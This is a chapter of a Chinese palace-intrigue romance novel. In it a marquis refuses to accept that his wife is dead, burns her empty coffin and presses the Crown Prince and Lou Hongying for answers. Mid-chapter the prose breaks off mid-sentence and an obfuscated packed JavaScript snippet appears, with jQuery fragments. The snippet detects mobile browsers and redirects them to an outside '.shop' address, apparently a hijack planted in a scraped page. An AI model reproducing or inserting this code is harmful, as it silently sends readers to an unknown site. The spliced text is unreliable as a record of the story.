33. 亡妻

作品:《嫁罪臣

    “微臣听闻,太子殿下曾见过臣妻生前最后一面。”


    叶淮生立于阶前,拱手行礼,与屋内闲闲饮茶的太子仅有一门之隔。


    太子称身体抱恙,特许叶淮生到内殿相见。


    “听镇北侯这语气,似有问责之意?”太子意味深长地望了眼榻上的姜絮。


    此时的姜絮已恢复了些许力气,靠着玉枕,指尖攥紧锦被,与太子对视一眼,一颗心悬吊着,不发一言,面上却仍装得沉着。


    “微臣不敢。”叶淮生的声音透过门缝传来。


    “臣妻莫名亡故,微臣未能见得臣妻最后一面,一时难以接受,至今仍觉在梦中,不敢相信。”


    “微臣想询问殿下,臣妻亡故之日的一些细节。”


    他语速缓慢,字字句句都带着一股沉甸甸的哀婉,似真的在为他死去的亡妻扼腕叹息。


    但在姜絮听来,却尤为讽刺。


    阿策是他的贴身暗卫,若是没他的指令,阿策会将她弃之火海?


    她也是天真,以为他对她的搂搂抱抱亲亲我我便是喜欢。


    看来师父说得对。


    对于情爱之事,是她想得太简单。


    这种错误,她绝不允许自己再犯第二次。


    她攥紧拳头,暗暗下定决心,眼神恳求地望着太子,微微摇头,示意:不要见他。


    太子愣了一下,嘴角扬起一抹玩味的笑。


    他没想到,前段时间羡煞旁人的恩爱眷侣,今日似乎生了嫌隙。


    他看好戏似的,眼神探究地瞟了眼姜絮,又一溜眼珠望向门口,薄唇轻启,在姜絮恳切的眼神中,最终开口道:


    “镇北侯可是要审问本殿?”


    未等叶淮生回答,太子继续说道:


    “候夫人的遗物,本殿已命人悉数送至府上。镇北侯若仍有疑虑,可亲到缇钺司问询。”


    言下之意:无可奉告。


    叶淮生一手背在身后,一手攥紧拳头。


    在听见“遗物”二字时,心脏不受控制地砰砰乱跳,似要跳出胸腔般。


    他想反驳。


    他攥紧指节,咯咯作响,拼命抑制想要纠正太子用词的冲动。


    半晌后,他垂下眼眸,从牙缝里挤出几个字:


    “多谢太子殿下。”


    语气里分明是不服之意。


    太子倒也不动怒。


    他早就听闻,镇北侯不通人性,甚至敢与圣上争个高下。


    镇北侯被弹劾通敌叛国之事,若不是他保了镇北侯,整个朝堂,恐无人为镇北侯说话。


    可即便如此,镇北侯也从未向他道谢过一次。


    此次亦是,堂堂镇北侯夫人,出现在命案现场,一边是朝廷命官,一边是在逃罪犯,还有满地数不清的死尸。


    若不是他一把火烧得干净,又将候夫人从中择了出去,镇北侯若被牵扯其中,指不定又被怎样弹劾。


    他这般为他,他却这般不领情。


    太子轻笑一声,把玩着拇指上的扳指,眸色深沉,映着些许肃杀,全叫姜絮瞧了去。


    姜絮看出,太子似乎在隐忍,忍着不与叶淮生动怒。


    至于为什么,或许只有师父能够解答一二。


    她望向门口,望着落在门板上的影子慢慢缩小,逐渐离去,才终于松了口气。


    而那抹影子,在拐过假山时,被端着木盆的仆妇撞个正着。


    盆中染了鲜血的素衣散乱在地。


    仆妇来不及捡拾,只一个劲磕头,哭道:


    “大人饶命大人饶命……”


    叶淮生看也不看一眼,径直踩上素白衣衫。


    迈过的一瞬间,他在浓浓的血腥味中嗅到了一丝熟悉的香甜。


    他微微阖眼,半晌后才似想到了什么,回头乜斜一眼。


    只一眼,他便望见那素白衣衫上赫然洞穿的破口。


    不知为何,他的心脏也跟着一瞬骤缩,如被长枪贯穿般,隐隐作疼。


    他抑制住内心的波涛汹涌,神色自若地踩着衣衫走过,等完全出了东宫,直至身影隐入行人如织的朱雀大街时,他才缓缓呼出一口气。


    不知不觉,脚步停在了玉容堂门口。


    眼尖的小二从店里跑出来,吸着鼻子在他身上嗅了一圈,说道:


    “大人这香,可是咱店里近来最时兴的式样。”


    店小二做出邀请的手势。


    叶淮并不搭理,冷眸扫了一眼,顿时将店小二吓得僵在原地,干巴地说着话术:


    “这、这、这香叫‘心若淮水’,由……”


    话没说完,又被叶淮生剜了一眼,顿时识趣地闭嘴,悻悻离开,却在转身时被人拽住衣裳后颈。


    “心若淮水?哪个淮?”叶淮生问道。


    小二踮着脚尖,双手抓着脖颈处的衣衫,脸上一片涨红,艰难地说道:


    “城南淮水的那个淮。”


    后颈被松开,小二双脚踩实,一手撑着膝盖,一手揉着被勒红的喉咙,咳嗽着说道:


    “看来大人有所不知。”


    “前段时间,镇北侯夫人到本店选香,一直没有挑到合适的,便自行调配了一副,说是要赠与镇北候。”


    “因近日镇北候护妻之事在京城传为一段佳话,京中女眷纷纷争相购买,图个好兆头。”


    “想必送大人此香之人,定是心仪大人之人。”


    小二语气讨好,望向叶淮生。


    只见叶淮生沉默不语,面上一片阴翳,小二正思忖着是哪里说错了话,却听见沉沉的脚步声从身后赶来。


    “哎哟,侯爷,有失远迎有失远迎……”店掌柜火急火燎赶来,挤眉弄眼将店小二轻轻推开,舔着一张笑脸迎了上去:


    “侯夫人近来可还安好?”


    “多亏了侯夫人呢,咱小店又配得一抢手货。”


    “掌柜的在这儿先谢过侯爷了……”


    掌柜的说着说着,瞧见侯爷面色不对,顿时停下,打了一下嘴,念叨:


    “多嘴了,多嘴了。”


    叶淮生双手抱肩,愣在原地,他平日里向来不与人言语,此时却不知为何,清了清嗓子,似澄清般,回了句:


    “夫人一切安好。”


    说完,他转身离去。


    掌柜的摸着脑袋,想起侯爷脸上的一片阴沉,他总觉得哪里有点怪怪的。


    他的神情,并不像一切安好的样子。


    掌柜的转身回到店里,拨弄着算盘珠子记账,却听见左侧靠墙的货架旁有小声的耳语传来。


    “听说了吗?侯夫人没了。”


    “哪个侯夫人?”


    “就前段时间抄了忠勇侯府的镇北候夫人呐。”


    “啊……怎么回事?这么突然?怎么没听见风声?”


    “嘘……小声点,到时候看侯府发不发丧不就知道了。”


    掌柜的盘弄算盘的声音小了下来,还想继续偷听,那两个官家女眷似察觉到了什么,匆匆选了两个青瓷小罐,到前台结完账便急急离去。


    不能吧,他明明亲耳听见镇北候说他家夫人一切安好。


    若是侯夫人出了什么事……


    想到他刚定下的一批原料,掌柜的汗毛都立了起来。


    -


    叶淮生刚回到侯府便亲自拆了全府上下的白幡,又与阿策合力将棺材抬至院中,在棺材四周架


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168035|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起木柴,在阿策惊诧的眼神中,他一把将棺材点燃。


    “轰”的一声,淋了火油的棺材瞬间燃成一片火海。


    阿策与林铃木然地跟在侯爷身侧,两人相视一眼,林铃拉起阿策的手,按着他的掌心给他宽慰。


    两人一句话都不敢多言,只见着火光将侯爷的脸色映得通红,目光却很坚定地望着火海中噼里啪啦燃烧的棺材。


    “侯爷,节哀。”阿策壮着胆子插话道。


    侯爷头也不回,眼神依旧直勾勾地望着火势渐猛的棺材,眸中映着一簇跃动的火苗,他淡然回道:


    “本侯为何要节哀?”


    阿策顿时愣住,心想侯爷是真不爱侯夫人,还是真的疯了。


    “本侯没见着她的尸体,她便没死,本侯为何要节哀?”叶淮生冷冷说道。


    侯爷疯了,望着侯爷转身离去的身影,阿策得出结论。


    侯夫人是他亲手丢进火海,他带着林铃策马离去时,还回望一眼,侯夫人在火中一动不动,如同一具死尸。


    没有人能在那样的场景下活下来。


    -


    等不及第二天,叶淮生连夜策马奔袭春蒐猎场,一连击退数名拦关将士,直闯入楼红缨的营帐。


    楼红缨听见响动,正向帐外走来,将将在门燎前站稳脚跟,就见一匹烈马在她面前“吁”的一声,高高扬起前蹄。


    她面不改色站在原地,热风裹着马身上的汗腥扑面而来,掀得她发丝向后飞舞,细碎的马沫喷溅在脸颊,她稍稍皱眉,指腹轻拭额间。


    她没说话,目视着叶淮生翻身下马,一身怒气地走到她跟前。


    叶淮生的手上还拽着缰绳,似乎几句话的功夫之后,他又要策马离去。


    “告诉我。”他强忍着体内的怒气,居高临下地审视着她,问道:


    “你们究竟有什么计划?”


    “计划?”楼红缨抬眸,望着面前这个二十三四岁左右的小辈。


    眉骨锋利,眉尾斜挑,看人时目光凌厉,总带着一股子戾气。


    他明明和薛文星无半点相似,她却从他身上看到了一点薛文星的影子。


    若是薛文星没有早逝,二十三四岁时,会不会也是他这般模样。


    她喟然一叹,无奈说道:


    “我们能有什么计划呢?”


    “什么意思?”叶淮生脚步稍滞,身子微微后仰,双腿似踩着软泥般无力。


    “告诉本侯,你这话是什么意思?”他原本沉着冷静的眸光,在听见她与她并无计划时,顿时散了,连质问的声音都干涩得发紧。


    “絮儿当真没了?”楼红缨问道,声音轻得像叹息。


    她想从叶淮生的口中听到反驳之词,却在望见他一片空茫的眼神时,得到了她不想要的回答。


    见到楼红缨同样迷茫的眼神,叶淮生难以相信。


    狡黠如她,他不信她没有计划,他不信她没有为自己留后手。


    “当时你听闻你夫君葬身火海时,一滴泪都没有掉,你们定是有什么计划在瞒着我。”叶淮生断言道,语气里藏着隐隐的期许,甚至有一丝低下的讨好。


    楼红缨没有想到,平日里高高在上不可一世,平等地不给任何人好脸色的镇北候,此时却会以一种近乎祈求的语调求她。


    求她为他的夫人谋一个逃生之道。


    可她也无能为力。


    她缓缓抬眸,定定地望着面前的这个可怜人,残忍地打破他的幻想:


    “我不掉眼泪,是因为我不爱他。”


    说完,她又反问:


    “侯爷呢?”


    “侯爷听闻侯夫人亡故时,可曾掉过一滴眼泪?”